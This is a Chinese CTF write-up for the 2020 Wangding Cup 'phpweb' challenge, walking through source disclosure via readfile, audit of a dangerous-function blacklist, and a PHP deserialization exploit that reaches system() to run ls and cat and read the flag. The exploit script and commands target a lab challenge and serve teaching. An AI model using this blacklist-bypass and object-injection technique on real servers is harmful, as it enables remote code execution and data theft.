刷题[网鼎杯 2020 朱雀组]phpweb

解题思路

打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了。源代码看一看,啥都没有。抓个包

诶,一看到func和p两个参数,想到了call_user_func().

尝试着把date改成system看有没用,显示hacker,证明有waf了

随便输入个参数,让他报错。看看有没有爆出什么函数。

果然是回调函数,那么大概思路感觉就是代码执行了,试了些函数,发现都被过滤了,这里思考可不可以读源码

func=readfile&p=index.php

没被禁掉,读出源码

代码审计

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

黑名单中把几乎所有危险函数都禁掉了,看了黑名单发现反引号没被禁,但是往下读gettype函数限制了,必须要是字符串。那就必须用函数了

大致思路是:

通过自定义函数中的回调函数,代码执行,读出flag内容

调用gettime函数的有两种情况,一种是析构方法中调用,一种是验证它不在黑名单中,然后调用

这里思路很明确了,应该是反序列化,为什么呢?

  1. Test类在这完全感觉多此一举,他不是考点谁信
  2. 黑名单几乎限制了所有可用的函数,in_array函数虽然有缺陷,但是在此情形中无法使用
  3. 反序列化后未验证黑名单,可以逃逸黑名单验证

而且这里的序列化是非常基础的

编写exp

综上,构造脚本

<?php
    //$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "ls";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
	$a= new Test;
	echo serialize($a);
    ?>
	

就是把func和p构造成我们需要执行的代码就行了

发现当前目录下不存在flag

尝试读取根目录

system ls /

发现也没有,一般思路是在/tmp目录下继续寻找,因为它的权限是一般普通用户都可。

system ls /tmp

果然发现一个很像flag的文件,读取

system cat /tmp/flagoefiu4r93

获得flag

总结思路

核心思路:

  • 通过date报错,猜测有报错信息,抓包发现有参数,报错发现它使用的函数
  • 扫描不出后台及其他情况时无法继续时,想到要读出它的源码
  • 源码有了就是通过代码审计拿到flag

知识点

  • 代码执行
  • 代码审计
  • 反序列化

猜你喜欢

转载自www.cnblogs.com/karsa/p/13389722.html